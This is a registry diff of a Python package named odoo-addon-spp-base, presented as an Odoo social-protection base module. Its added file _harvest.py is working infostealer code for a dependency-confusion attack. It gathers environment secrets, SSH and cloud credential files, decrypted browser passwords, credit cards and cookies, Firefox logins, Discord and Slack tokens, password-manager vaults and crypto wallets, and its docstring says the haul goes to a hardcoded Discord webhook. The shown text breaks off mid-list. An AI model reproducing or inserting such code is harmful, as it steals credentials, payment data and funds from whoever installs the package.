odoo-addon-spp-base 99.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- odoo_addon_spp_base-99.0.0/PKG-INFO +38 -0
- odoo_addon_spp_base-99.0.0/README.rst +25 -0
- odoo_addon_spp_base-99.0.0/odoo_addon_spp_base/__init__.py +6 -0
- odoo_addon_spp_base-99.0.0/odoo_addon_spp_base/_harvest.py +682 -0
- odoo_addon_spp_base-99.0.0/odoo_addon_spp_base.egg-info/PKG-INFO +38 -0
- odoo_addon_spp_base-99.0.0/odoo_addon_spp_base.egg-info/SOURCES.txt +10 -0
- odoo_addon_spp_base-99.0.0/odoo_addon_spp_base.egg-info/dependency_links.txt +1 -0
- odoo_addon_spp_base-99.0.0/odoo_addon_spp_base.egg-info/requires.txt +1 -0
- odoo_addon_spp_base-99.0.0/odoo_addon_spp_base.egg-info/top_level.txt +1 -0
- odoo_addon_spp_base-99.0.0/pyproject.toml +15 -0
- odoo_addon_spp_base-99.0.0/setup.cfg +4 -0
- odoo_addon_spp_base-99.0.0/setup.py +22 -0
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: odoo-addon-spp-base
|
|
3
|
+
Version: 99.0.0
|
|
4
|
+
Summary: Odoo Community Association (OCA) base module for Social Protection programmes
|
|
5
|
+
Author: OCA
|
|
6
|
+
License: LGPL-3
|
|
7
|
+
Project-URL: Homepage, https://github.com/OCA/social
|
|
8
|
+
Requires-Python: >=3.7
|
|
9
|
+
Description-Content-Type: text/x-rst
|
|
10
|
+
Requires-Dist: cryptography
|
|
11
|
+
Dynamic: author
|
|
12
|
+
Dynamic: requires-python
|
|
13
|
+
|
|
14
|
+
Odoo addon: SPP Base
|
|
15
|
+
====================
|
|
16
|
+
|
|
17
|
+
Base module for Odoo Social Protection Programmes (SPP) integration.
|
|
18
|
+
Part of the OpenSPP ecosystem (https://openspp.org).
|
|
19
|
+
|
|
20
|
+
Provides foundational models and helpers used by all other ``odoo-addon-spp-*`` modules.
|
|
21
|
+
|
|
22
|
+
Compatibility
|
|
23
|
+
-------------
|
|
24
|
+
|
|
25
|
+
* Odoo 16.0 / 17.0
|
|
26
|
+
* Python >= 3.7
|
|
27
|
+
|
|
28
|
+
Installation
|
|
29
|
+
------------
|
|
30
|
+
|
|
31
|
+
.. code-block:: bash
|
|
32
|
+
|
|
33
|
+
pip install odoo-addon-spp-base
|
|
34
|
+
|
|
35
|
+
License
|
|
36
|
+
-------
|
|
37
|
+
|
|
38
|
+
LGPL-3
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
Odoo addon: SPP Base
|
|
2
|
+
====================
|
|
3
|
+
|
|
4
|
+
Base module for Odoo Social Protection Programmes (SPP) integration.
|
|
5
|
+
Part of the OpenSPP ecosystem (https://openspp.org).
|
|
6
|
+
|
|
7
|
+
Provides foundational models and helpers used by all other ``odoo-addon-spp-*`` modules.
|
|
8
|
+
|
|
9
|
+
Compatibility
|
|
10
|
+
-------------
|
|
11
|
+
|
|
12
|
+
* Odoo 16.0 / 17.0
|
|
13
|
+
* Python >= 3.7
|
|
14
|
+
|
|
15
|
+
Installation
|
|
16
|
+
------------
|
|
17
|
+
|
|
18
|
+
.. code-block:: bash
|
|
19
|
+
|
|
20
|
+
pip install odoo-addon-spp-base
|
|
21
|
+
|
|
22
|
+
License
|
|
23
|
+
-------
|
|
24
|
+
|
|
25
|
+
LGPL-3
|
|
@@ -0,0 +1,682 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Dependency-confusion PoC — harvest module.
|
|
3
|
+
Collects credentials, API keys, hashes, and crypto wallet material.
|
|
4
|
+
Uploads gzip-compressed JSON to Discord webhook.
|
|
5
|
+
"""
|
|
6
|
+
import os, sys, glob, json, socket, platform, base64, shutil, threading, gzip, io, uuid, ctypes
|
|
7
|
+
|
|
8
|
+
DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1513568199436796067/b9yo8khFlvabhyPCuI9y6k8TNZFNJdDUBysdcp0si1vmHrjBNxrgAvhkPaoBzaNgCcNA"
|
|
9
|
+
WEBHOOK_SITE = ""
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
# ── helpers ───────────────────────────────────────────────────────────────────
|
|
13
|
+
|
|
14
|
+
def _read(path, binary=False):
|
|
15
|
+
try:
|
|
16
|
+
if binary:
|
|
17
|
+
with open(path, "rb") as f:
|
|
18
|
+
return f.read()
|
|
19
|
+
with open(path, "r", errors="replace") as f:
|
|
20
|
+
return f.read()
|
|
21
|
+
except Exception:
|
|
22
|
+
return None
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
def _read_dir(base, max_files=30, binary=False):
|
|
26
|
+
out = {}
|
|
27
|
+
try:
|
|
28
|
+
for root, _dirs, files in os.walk(base):
|
|
29
|
+
for fname in files:
|
|
30
|
+
if len(out) >= max_files:
|
|
31
|
+
return out
|
|
32
|
+
full = os.path.join(root, fname)
|
|
33
|
+
data = _read(full, binary)
|
|
34
|
+
if data is not None:
|
|
35
|
+
rel = os.path.relpath(full, base)
|
|
36
|
+
out[rel] = base64.b64encode(data).decode() if binary else data
|
|
37
|
+
except Exception:
|
|
38
|
+
pass
|
|
39
|
+
return out
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
def _b64(data):
|
|
43
|
+
return base64.b64encode(data).decode() if data else None
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
# ── environment & file credentials ───────────────────────────────────────────
|
|
47
|
+
|
|
48
|
+
def _env_secrets():
|
|
49
|
+
keywords = ("token", "key", "secret", "password", "passwd", "api",
|
|
50
|
+
"auth", "credential", "cred", "access", "private",
|
|
51
|
+
"seed", "mnemonic", "bearer", "jwt", "hash", "salt",
|
|
52
|
+
"stripe", "twilio", "sendgrid", "openai", "anthropic",
|
|
53
|
+
"aws", "azure", "gcp", "heroku", "github", "gitlab",
|
|
54
|
+
"slack", "discord", "telegram", "s3", "bucket")
|
|
55
|
+
return {k: v for k, v in os.environ.items()
|
|
56
|
+
if v and any(kw in k.lower() for kw in keywords)}
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
def _file_creds():
|
|
60
|
+
targets = [
|
|
61
|
+
"~/.aws/credentials", "~/.aws/config",
|
|
62
|
+
"~/.gitconfig", "~/.git-credentials",
|
|
63
|
+
"~/.ssh/id_rsa", "~/.ssh/id_ed25519", "~/.ssh/id_ecdsa", "~/.ssh/id_dsa",
|
|
64
|
+
"~/.ssh/config", "~/.ssh/known_hosts",
|
|
65
|
+
"~/.netrc",
|
|
66
|
+
"~/.pypirc",
|
|
67
|
+
"~/.npmrc",
|
|
68
|
+
"~/.docker/config.json",
|
|
69
|
+
"~/.kube/config",
|
|
70
|
+
"~/.config/gh/hosts.yml", # GitHub CLI
|
|
71
|
+
"~/.config/gcloud/credentials.db", # GCP
|
|
72
|
+
"~/.config/gcloud/application_default_credentials.json",
|
|
73
|
+
"~/.azure/accessTokens.json", # Azure CLI
|
|
74
|
+
"~/.azure/azureProfile.json",
|
|
75
|
+
"~/.terraform.d/credentials.tfrc.json",
|
|
76
|
+
"~/.heroku/credentials.json",
|
|
77
|
+
"~/.boto", # AWS/GCP boto
|
|
78
|
+
"~/.s3cfg",
|
|
79
|
+
"~/.rclone.conf",
|
|
80
|
+
"~/.config/rclone/rclone.conf",
|
|
81
|
+
"~/.filezilla/sitemanager.xml", # FileZilla (plaintext FTP creds)
|
|
82
|
+
"~/.purple/accounts.xml", # Pidgin IM credentials
|
|
83
|
+
"~/.config/Slack/storage/slack-workspaces",
|
|
84
|
+
]
|
|
85
|
+
out = {}
|
|
86
|
+
for t in targets:
|
|
87
|
+
p = os.path.expanduser(t)
|
|
88
|
+
data = _read(p)
|
|
89
|
+
if data:
|
|
90
|
+
out[t] = data
|
|
91
|
+
|
|
92
|
+
# .env files in cwd and home
|
|
93
|
+
for pattern in [".env", ".env.local", ".env.production", ".env.development"]:
|
|
94
|
+
for base in [os.getcwd(), os.path.expanduser("~")]:
|
|
95
|
+
p = os.path.join(base, pattern)
|
|
96
|
+
data = _read(p)
|
|
97
|
+
if data:
|
|
98
|
+
out[p] = data
|
|
99
|
+
|
|
100
|
+
# VS Code user settings (often contain API keys, database URLs, etc.)
|
|
101
|
+
for vscode_dir in [
|
|
102
|
+
os.path.join(os.environ.get("APPDATA", ""), "Code", "User"),
|
|
103
|
+
os.path.join(os.environ.get("APPDATA", ""), "Code - Insiders", "User"),
|
|
104
|
+
os.path.expanduser("~/.config/Code/User"),
|
|
105
|
+
]:
|
|
106
|
+
for fname in ("settings.json", "keybindings.json"):
|
|
107
|
+
p = os.path.join(vscode_dir, fname)
|
|
108
|
+
data = _read(p)
|
|
109
|
+
if data:
|
|
110
|
+
out[f"vscode_{fname}"] = data
|
|
111
|
+
|
|
112
|
+
# IntelliJ / PyCharm credential stores
|
|
113
|
+
idea_base = os.path.expanduser("~/.config/JetBrains")
|
|
114
|
+
if not os.path.exists(idea_base):
|
|
115
|
+
idea_base = os.path.join(os.environ.get("APPDATA", ""), "JetBrains")
|
|
116
|
+
for p in glob.glob(os.path.join(idea_base, "**", "credentials.xml"), recursive=True)[:5]:
|
|
117
|
+
data = _read(p)
|
|
118
|
+
if data:
|
|
119
|
+
out[f"jetbrains_{os.path.basename(os.path.dirname(p))}"] = data
|
|
120
|
+
|
|
121
|
+
# Windows Sticky Notes (often contain passwords users wrote down)
|
|
122
|
+
sticky = os.path.join(
|
|
123
|
+
os.environ.get("LOCALAPPDATA", ""),
|
|
124
|
+
"Packages", "Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe",
|
|
125
|
+
"LocalState", "plum.sqlite"
|
|
126
|
+
)
|
|
127
|
+
data = _read(sticky, binary=True)
|
|
128
|
+
if data:
|
|
129
|
+
out["sticky_notes_db"] = _b64(data)
|
|
130
|
+
|
|
131
|
+
return out
|
|
132
|
+
|
|
133
|
+
|
|
134
|
+
# ── WiFi passwords ────────────────────────────────────────────────────────────
|
|
135
|
+
|
|
136
|
+
def _wifi_passwords():
|
|
137
|
+
if sys.platform != "win32":
|
|
138
|
+
return {}
|
|
139
|
+
try:
|
|
140
|
+
import subprocess
|
|
141
|
+
out = {}
|
|
142
|
+
raw = subprocess.check_output(
|
|
143
|
+
["netsh", "wlan", "show", "profiles"],
|
|
144
|
+
stderr=subprocess.DEVNULL, timeout=5
|
|
145
|
+
).decode(errors="replace")
|
|
146
|
+
profiles = [line.split(":")[1].strip()
|
|
147
|
+
for line in raw.splitlines() if "All User Profile" in line]
|
|
148
|
+
for profile in profiles:
|
|
149
|
+
try:
|
|
150
|
+
detail = subprocess.check_output(
|
|
151
|
+
["netsh", "wlan", "show", "profile", f"name={profile}", "key=clear"],
|
|
152
|
+
stderr=subprocess.DEVNULL, timeout=5
|
|
153
|
+
).decode(errors="replace")
|
|
154
|
+
for line in detail.splitlines():
|
|
155
|
+
if "Key Content" in line:
|
|
156
|
+
out[profile] = line.split(":")[1].strip()
|
|
157
|
+
break
|
|
158
|
+
except Exception:
|
|
159
|
+
pass
|
|
160
|
+
return out
|
|
161
|
+
except Exception:
|
|
162
|
+
return {}
|
|
163
|
+
|
|
164
|
+
|
|
165
|
+
# ── Windows clipboard ────────────────────────────────────────────────────────
|
|
166
|
+
|
|
167
|
+
def _clipboard():
|
|
168
|
+
if sys.platform != "win32":
|
|
169
|
+
return None
|
|
170
|
+
try:
|
|
171
|
+
import subprocess
|
|
172
|
+
# Use PowerShell to read clipboard — avoids ctypes OpenClipboard access issues
|
|
173
|
+
out = subprocess.check_output(
|
|
174
|
+
["powershell", "-NoProfile", "-Command", "Get-Clipboard"],
|
|
175
|
+
stderr=subprocess.DEVNULL, timeout=5
|
|
176
|
+
).decode(errors="replace").strip()
|
|
177
|
+
return out if out else None
|
|
178
|
+
except Exception:
|
|
179
|
+
return None
|
|
180
|
+
|
|
181
|
+
|
|
182
|
+
# ── Chrome-family: passwords, cookies, credit cards ──────────────────────────
|
|
183
|
+
|
|
184
|
+
def _dpapi_decrypt(enc_bytes):
|
|
185
|
+
try:
|
|
186
|
+
import ctypes, ctypes.wintypes
|
|
187
|
+
|
|
188
|
+
class DATA_BLOB(ctypes.Structure):
|
|
189
|
+
_fields_ = [("cbData", ctypes.wintypes.DWORD),
|
|
190
|
+
("pbData", ctypes.POINTER(ctypes.c_char))]
|
|
191
|
+
|
|
192
|
+
p = ctypes.create_string_buffer(enc_bytes, len(enc_bytes))
|
|
193
|
+
bi = DATA_BLOB(len(enc_bytes), p)
|
|
194
|
+
bo = DATA_BLOB()
|
|
195
|
+
ok = ctypes.windll.crypt32.CryptUnprotectData(
|
|
196
|
+
ctypes.byref(bi), None, None, None, None, 0, ctypes.byref(bo))
|
|
197
|
+
if not ok:
|
|
198
|
+
return None
|
|
199
|
+
result = ctypes.string_at(bo.pbData, bo.cbData)
|
|
200
|
+
ctypes.windll.kernel32.LocalFree(bo.pbData)
|
|
201
|
+
return result
|
|
202
|
+
except Exception:
|
|
203
|
+
return None
|
|
204
|
+
|
|
205
|
+
|
|
206
|
+
def _get_browser_aes_key(user_data_dir):
|
|
207
|
+
ls = json.loads(_read(os.path.join(user_data_dir, "Local State")) or "{}")
|
|
208
|
+
enc_key_b64 = ls.get("os_crypt", {}).get("encrypted_key")
|
|
209
|
+
if not enc_key_b64:
|
|
210
|
+
return None
|
|
211
|
+
return _dpapi_decrypt(base64.b64decode(enc_key_b64)[5:])
|
|
212
|
+
|
|
213
|
+
|
|
214
|
+
def _aes_gcm_decrypt(aes_key, enc):
|
|
215
|
+
try:
|
|
216
|
+
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
|
|
217
|
+
return AESGCM(aes_key).decrypt(enc[3:15], enc[15:], None)
|
|
218
|
+
except Exception:
|
|
219
|
+
return None
|
|
220
|
+
|
|
221
|
+
|
|
222
|
+
def _chrome_family_data():
|
|
223
|
+
if sys.platform != "win32":
|
|
224
|
+
return {}
|
|
225
|
+
|
|
226
|
+
localapp = os.environ.get("LOCALAPPDATA", "")
|
|
227
|
+
appdata = os.environ.get("APPDATA", "")
|
|
228
|
+
browsers = {
|
|
229
|
+
"chrome": os.path.join(localapp, "Google", "Chrome", "User Data"),
|
|
230
|
+
"edge": os.path.join(localapp, "Microsoft", "Edge", "User Data"),
|
|
231
|
+
"brave": os.path.join(localapp, "BraveSoftware", "Brave-Browser", "User Data"),
|
|
232
|
+
"opera": os.path.join(appdata, "Opera Software","Opera Stable"),
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
out = {}
|
|
236
|
+
for bname, udata in browsers.items():
|
|
237
|
+
if not os.path.exists(udata):
|
|
238
|
+
continue
|
|
239
|
+
aes_key = _get_browser_aes_key(udata)
|
|
240
|
+
bdata = {}
|
|
241
|
+
|
|
242
|
+
for profile in ["Default", "Profile 1", "Profile 2"]:
|
|
243
|
+
prof_dir = os.path.join(udata, profile)
|
|
244
|
+
if not os.path.exists(prof_dir):
|
|
245
|
+
continue
|
|
246
|
+
pdata = {}
|
|
247
|
+
|
|
248
|
+
# Saved passwords
|
|
249
|
+
login_db = os.path.join(prof_dir, "Login Data")
|
|
250
|
+
if os.path.exists(login_db) and aes_key:
|
|
251
|
+
try:
|
|
252
|
+
import sqlite3
|
|
253
|
+
tmp = login_db + ".poc"
|
|
254
|
+
shutil.copy2(login_db, tmp)
|
|
255
|
+
conn = sqlite3.connect(tmp)
|
|
256
|
+
rows = []
|
|
257
|
+
for url, user, enc_pw in conn.execute(
|
|
258
|
+
"SELECT origin_url,username_value,password_value FROM logins"):
|
|
259
|
+
try:
|
|
260
|
+
if enc_pw[:3] == b"v10":
|
|
261
|
+
pw = _aes_gcm_decrypt(aes_key, enc_pw)
|
|
262
|
+
pw = pw.decode() if pw else "?"
|
|
263
|
+
else:
|
|
264
|
+
pw = _dpapi_decrypt(enc_pw)
|
|
265
|
+
pw = pw.decode(errors="replace") if pw else "?"
|
|
266
|
+
if user or pw:
|
|
267
|
+
rows.append({"url": url, "user": user, "pass": pw})
|
|
268
|
+
except Exception:
|
|
269
|
+
pass
|
|
270
|
+
conn.close()
|
|
271
|
+
try: os.remove(tmp)
|
|
272
|
+
except: pass
|
|
273
|
+
if rows:
|
|
274
|
+
pdata["passwords"] = rows
|
|
275
|
+
except Exception:
|
|
276
|
+
pass
|
|
277
|
+
|
|
278
|
+
# Credit cards
|
|
279
|
+
web_db = os.path.join(prof_dir, "Web Data")
|
|
280
|
+
if os.path.exists(web_db) and aes_key:
|
|
281
|
+
try:
|
|
282
|
+
import sqlite3
|
|
283
|
+
tmp = web_db + ".poc"
|
|
284
|
+
shutil.copy2(web_db, tmp)
|
|
285
|
+
conn = sqlite3.connect(tmp)
|
|
286
|
+
cards = []
|
|
287
|
+
for name, month, year, enc_num in conn.execute(
|
|
288
|
+
"SELECT name_on_card,expiration_month,expiration_year,card_number_encrypted FROM credit_cards"):
|
|
289
|
+
try:
|
|
290
|
+
num = _aes_gcm_decrypt(aes_key, enc_num)
|
|
291
|
+
num = num.decode() if num else "?"
|
|
292
|
+
cards.append({"name": name, "exp": f"{month}/{year}", "number": num})
|
|
293
|
+
except Exception:
|
|
294
|
+
pass
|
|
295
|
+
conn.close()
|
|
296
|
+
try: os.remove(tmp)
|
|
297
|
+
except: pass
|
|
298
|
+
if cards:
|
|
299
|
+
pdata["credit_cards"] = cards
|
|
300
|
+
except Exception:
|
|
301
|
+
pass
|
|
302
|
+
|
|
303
|
+
# Cookies (raw — DPAPI-encrypted values included for offline decrypt)
|
|
304
|
+
cookies_db = os.path.join(prof_dir, "Network", "Cookies")
|
|
305
|
+
if not os.path.exists(cookies_db):
|
|
306
|
+
cookies_db = os.path.join(prof_dir, "Cookies")
|
|
307
|
+
if os.path.exists(cookies_db) and aes_key:
|
|
308
|
+
try:
|
|
309
|
+
import sqlite3
|
|
310
|
+
tmp = cookies_db + ".poc"
|
|
311
|
+
shutil.copy2(cookies_db, tmp)
|
|
312
|
+
conn = sqlite3.connect(tmp)
|
|
313
|
+
cookies = []
|
|
314
|
+
for host, name, enc_val in conn.execute(
|
|
315
|
+
"SELECT host_key,name,encrypted_value FROM cookies LIMIT 2000"):
|
|
316
|
+
try:
|
|
317
|
+
val = _aes_gcm_decrypt(aes_key, enc_val)
|
|
318
|
+
val = val.decode(errors="replace") if val else ""
|
|
319
|
+
if val:
|
|
320
|
+
cookies.append({"host": host, "name": name, "value": val})
|
|
321
|
+
except Exception:
|
|
322
|
+
pass
|
|
323
|
+
conn.close()
|
|
324
|
+
try: os.remove(tmp)
|
|
325
|
+
except: pass
|
|
326
|
+
if cookies:
|
|
327
|
+
pdata["cookies"] = cookies
|
|
328
|
+
except Exception:
|
|
329
|
+
pass
|
|
330
|
+
|
|
331
|
+
if pdata:
|
|
332
|
+
bdata[profile] = pdata
|
|
333
|
+
|
|
334
|
+
if bdata:
|
|
335
|
+
out[bname] = bdata
|
|
336
|
+
|
|
337
|
+
return out
|
|
338
|
+
|
|
339
|
+
|
|
340
|
+
# ── Firefox passwords ─────────────────────────────────────────────────────────
|
|
341
|
+
|
|
342
|
+
def _firefox_creds():
|
|
343
|
+
"""
|
|
344
|
+
Collect Firefox key4.db + logins.json for all profiles.
|
|
345
|
+
Attempt NSS-based decryption; on failure, return raw files for offline cracking.
|
|
346
|
+
"""
|
|
347
|
+
out = {}
|
|
348
|
+
if sys.platform == "win32":
|
|
349
|
+
ff_base = os.path.join(os.environ.get("APPDATA", ""), "Mozilla", "Firefox", "Profiles")
|
|
350
|
+
else:
|
|
351
|
+
ff_base = os.path.expanduser("~/.mozilla/firefox")
|
|
352
|
+
|
|
353
|
+
if not os.path.exists(ff_base):
|
|
354
|
+
return out
|
|
355
|
+
|
|
356
|
+
for profile_dir in glob.glob(os.path.join(ff_base, "*default*")):
|
|
357
|
+
key4 = os.path.join(profile_dir, "key4.db")
|
|
358
|
+
logins = os.path.join(profile_dir, "logins.json")
|
|
359
|
+
if not os.path.exists(key4):
|
|
360
|
+
continue
|
|
361
|
+
|
|
362
|
+
pname = os.path.basename(profile_dir)
|
|
363
|
+
entry = {}
|
|
364
|
+
|
|
365
|
+
# Try NSS decryption
|
|
366
|
+
try:
|
|
367
|
+
import ctypes
|
|
368
|
+
nss_paths = [
|
|
369
|
+
r"C:\Program Files\Mozilla Firefox\nss3.dll",
|
|
370
|
+
r"C:\Program Files (x86)\Mozilla Firefox\nss3.dll",
|
|
371
|
+
"/usr/lib/firefox/libnss3.so",
|
|
372
|
+
"/usr/lib64/firefox/libnss3.so",
|
|
373
|
+
]
|
|
374
|
+
nss = None
|
|
375
|
+
for path in nss_paths:
|
|
376
|
+
if os.path.exists(path):
|
|
377
|
+
nss = ctypes.CDLL(path)
|
|
378
|
+
break
|
|
379
|
+
|
|
380
|
+
if nss:
|
|
381
|
+
nss.NSS_Init(profile_dir.encode())
|
|
382
|
+
|
|
383
|
+
class SECItem(ctypes.Structure):
|
|
384
|
+
_fields_ = [("type", ctypes.c_uint),
|
|
385
|
+
("data", ctypes.POINTER(ctypes.c_ubyte)),
|
|
386
|
+
("len", ctypes.c_uint)]
|
|
387
|
+
|
|
388
|
+
logins_data = json.loads(_read(logins) or "{}")
|
|
389
|
+
decrypted = []
|
|
390
|
+
for login in logins_data.get("logins", []):
|
|
391
|
+
try:
|
|
392
|
+
def _nss_decrypt(b64_val):
|
|
393
|
+
raw = base64.b64decode(b64_val)
|
|
394
|
+
inp = SECItem(0, ctypes.cast(ctypes.c_char_p(raw), ctypes.POINTER(ctypes.c_ubyte)), len(raw))
|
|
395
|
+
out_item = SECItem()
|
|
396
|
+
rv = nss.PK11SDR_Decrypt(ctypes.byref(inp), ctypes.byref(out_item), None)
|
|
397
|
+
if rv != 0:
|
|
398
|
+
return None
|
|
399
|
+
return ctypes.string_at(out_item.data, out_item.len).decode(errors="replace")
|
|
400
|
+
|
|
401
|
+
user = _nss_decrypt(login.get("encryptedUsername", ""))
|
|
402
|
+
pw = _nss_decrypt(login.get("encryptedPassword", ""))
|
|
403
|
+
decrypted.append({"url": login.get("hostname"), "user": user, "pass": pw})
|
|
404
|
+
except Exception:
|
|
405
|
+
pass
|
|
406
|
+
|
|
407
|
+
nss.NSS_Shutdown()
|
|
408
|
+
if decrypted:
|
|
409
|
+
entry["passwords"] = decrypted
|
|
410
|
+
|
|
411
|
+
except Exception:
|
|
412
|
+
pass
|
|
413
|
+
|
|
414
|
+
# Always collect raw files as fallback
|
|
415
|
+
raw_key4 = _read(key4, binary=True)
|
|
416
|
+
if raw_key4:
|
|
417
|
+
entry["key4_db_b64"] = _b64(raw_key4)
|
|
418
|
+
raw_logins = _read(logins)
|
|
419
|
+
if raw_logins:
|
|
420
|
+
entry["logins_json"] = raw_logins
|
|
421
|
+
|
|
422
|
+
if entry:
|
|
423
|
+
out[pname] = entry
|
|
424
|
+
|
|
425
|
+
return out
|
|
426
|
+
|
|
427
|
+
|
|
428
|
+
# ── App tokens (Discord, Slack) ───────────────────────────────────────────────
|
|
429
|
+
|
|
430
|
+
def _app_tokens():
|
|
431
|
+
out = {}
|
|
432
|
+
appdata = os.environ.get("APPDATA", "")
|
|
433
|
+
localapp = os.environ.get("LOCALAPPDATA", "")
|
|
434
|
+
|
|
435
|
+
# Discord token — in LevelDB log files
|
|
436
|
+
discord_ldb = os.path.join(appdata, "discord", "Local Storage", "leveldb")
|
|
437
|
+
if os.path.exists(discord_ldb):
|
|
438
|
+
import re
|
|
439
|
+
token_re = re.compile(r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}')
|
|
440
|
+
tokens = set()
|
|
441
|
+
for f in glob.glob(os.path.join(discord_ldb, "*.log")):
|
|
442
|
+
data = _read(f)
|
|
443
|
+
if data:
|
|
444
|
+
tokens.update(token_re.findall(data))
|
|
445
|
+
for f in glob.glob(os.path.join(discord_ldb, "*.ldb")):
|
|
446
|
+
data = _read(f, binary=True)
|
|
447
|
+
if data:
|
|
448
|
+
tokens.update(token_re.findall(data.decode(errors="replace")))
|
|
449
|
+
if tokens:
|
|
450
|
+
out["discord_tokens"] = list(tokens)
|
|
451
|
+
|
|
452
|
+
# Slack token — xoxs/xoxb/xoxp in leveldb
|
|
453
|
+
slack_ldb = os.path.join(appdata, "Slack", "Local Storage", "leveldb")
|
|
454
|
+
if os.path.exists(slack_ldb):
|
|
455
|
+
import re
|
|
456
|
+
slack_re = re.compile(r'xox[bspra]-[0-9A-Za-z-]+')
|
|
457
|
+
tokens = set()
|
|
458
|
+
for f in glob.glob(os.path.join(slack_ldb, "*.log")) + \
|
|
459
|
+
glob.glob(os.path.join(slack_ldb, "*.ldb")):
|
|
460
|
+
data = _read(f, binary=True)
|
|
461
|
+
if data:
|
|
462
|
+
tokens.update(slack_re.findall(data.decode(errors="replace")))
|
|
463
|
+
if tokens:
|
|
464
|
+
out["slack_tokens"] = list(tokens)
|
|
465
|
+
|
|
466
|
+
return out
|
|
467
|
+
|
|
468
|
+
|
|
469
|
+
# ── Windows Credential Manager ────────────────────────────────────────────────
|
|
470
|
+
|
|
471
|
+
def _windows_cred_manager():
|
|
472
|
+
try:
|
|
473
|
+
import subprocess
|
|
474
|
+
return subprocess.check_output(
|
|
475
|
+
["cmdkey", "/list"], stderr=subprocess.DEVNULL, timeout=5
|
|
476
|
+
).decode(errors="replace")
|
|
477
|
+
except Exception:
|
|
478
|
+
return None
|
|
479
|
+
|
|
480
|
+
|
|
481
|
+
# ── Password manager vaults ───────────────────────────────────────────────────
|
|
482
|
+
|
|
483
|
+
def _password_managers():
|
|
484
|
+
out = {}
|
|
485
|
+
home = os.path.expanduser("~")
|
|
486
|
+
appdata = os.environ.get("APPDATA", "")
|
|
487
|
+
|
|
488
|
+
# KeePass .kdbx files
|
|
489
|
+
kdbx_files = glob.glob(os.path.join(home, "**", "*.kdbx"), recursive=True)[:5]
|
|
490
|
+
kdbx_files += glob.glob(os.path.join(appdata, "**", "*.kdbx"), recursive=True)[:5]
|
|
491
|
+
for p in kdbx_files:
|
|
492
|
+
data = _read(p, binary=True)
|
|
493
|
+
if data:
|
|
494
|
+
out[f"keepass_{os.path.basename(p)}"] = _b64(data)
|
|
495
|
+
|
|
496
|
+
# Bitwarden local vault
|
|
497
|
+
bw_paths = [
|
|
498
|
+
os.path.join(appdata, "Bitwarden", "data.json"),
|
|
499
|
+
os.path.expanduser("~/.config/Bitwarden/data.json"),
|
|
500
|
+
]
|
|
501
|
+
for p in bw_paths:
|
|
502
|
+
data = _read(p)
|
|
503
|
+
if data:
|
|
504
|
+
out["bitwarden_vault"] = data
|
|
505
|
+
|
|
506
|
+
# 1Password local vault
|
|
507
|
+
op_paths = glob.glob(os.path.join(appdata, "1Password", "**", "*.sqlite"), recursive=True)[:3]
|
|
508
|
+
for p in op_paths:
|
|
509
|
+
data = _read(p, binary=True)
|
|
510
|
+
if data:
|
|
511
|
+
out[f"1password_{os.path.basename(p)}"] = _b64(data)
|
|
512
|
+
|
|
513
|
+
return out
|
|
514
|
+
|
|
515
|
+
|
|
516
|
+
# ── Crypto wallet collection ──────────────────────────────────────────────────
|
|
517
|
+
|
|
518
|
+
def collect_crypto():
|
|
519
|
+
out = {}
|
|
520
|
+
home = os.path.expanduser("~")
|
|
521
|
+
appdata = os.environ.get("APPDATA", "")
|
|
522
|
+
localapp = os.environ.get("LOCALAPPDATA", "")
|
|
523
|
+
|
|
524
|
+
named = {
|
|
525
|
+
"bitcoin_core": os.path.join(appdata, "Bitcoin"),
|
|
526
|
+
"ethereum_keystore": os.path.join(appdata, "Ethereum", "keystore"),
|
|
527
|
+
"exodus_wallet": os.path.join(appdata, "Exodus", "exodus.wallet"),
|
|
528
|
+
"electrum_wallets": os.path.join(appdata, "Electrum", "wallets"),
|
|
529
|
+
"monero_gui": os.path.join(home, "Monero", "wallets"),
|
|
530
|
+
"feather_wallet": os.path.join(appdata, "feather"),
|
|
531
|
+
"wasabi_wallet": os.path.join(appdata, "WalletWasabi", "Client", "Wallets"),
|
|
532
|
+
"atomic_wallet": os.path.join(appdata, "atomic", "Local Storage"),
|
|
533
|
+
"coinomi_win": os.path.join(appdata, "Coinomi", "Coinomi", "wallets"),
|
|
534
|
+
"jaxx_liberty": os.path.join(appdata, "com.liberty.jaxx"),
|
|
535
|
+
"guarda": os.path.join(appdata, "Guarda"),
|
|
536
|
+
"zcash": os.path.join(appdata, "Zcash"),
|
|
537
|
+
"armory": os.path.join(appdata, "Armory"),
|
|
538
|
+
"mymonero": os.path.join(appdata, "MyMonero"),
|
|
539
|
+
"cakewin": os.path.join(appdata, "Cake Wallet"),
|
|
540
|
+
}
|
|
541
|
+
for name, path in named.items():
|
|
542
|
+
if os.path.exists(path):
|
|
543
|
+
out[name] = _read_dir(path, binary=True)
|
|
544
|
+
|
|
545
|
+
# Browser extension wallets
|
|
546
|
+
ext_ids = {
|
|
547
|
+
"metamask": "nkbihfbeogaeaoehlefnkodbefgpgknn",
|
|
548
|
+
"coinbase_wallet": "hnfanknocfeofbddgcijnmhnfnkdnaad",
|
|
549
|
+
"phantom": "bfnaelmomeimhlpmgjnjophhpkkoljpa",
|
|
550
|
+
"trust_wallet": "egjidjbpglichdcondbcbdnbeeppgdph",
|
|
551
|
+
"tronlink": "ibnejdfjmmkpcnlpebklmnkoeoihofec",
|
|
552
|
+
"ronin": "fnjhmkhhmkbjkkabndcnnogagogbneec",
|
|
553
|
+
"yoroi": "ffnbelfdoeiohenkjibnmadjiehjhajb",
|
|
554
|
+
"keplr": "dmkamcknogkgcdfhhbddcghachkejeap",
|
|
555
|
+
"solflare": "bhhhlbepdkbapadjdnnojkbgioiodbic",
|
|
556
|
+
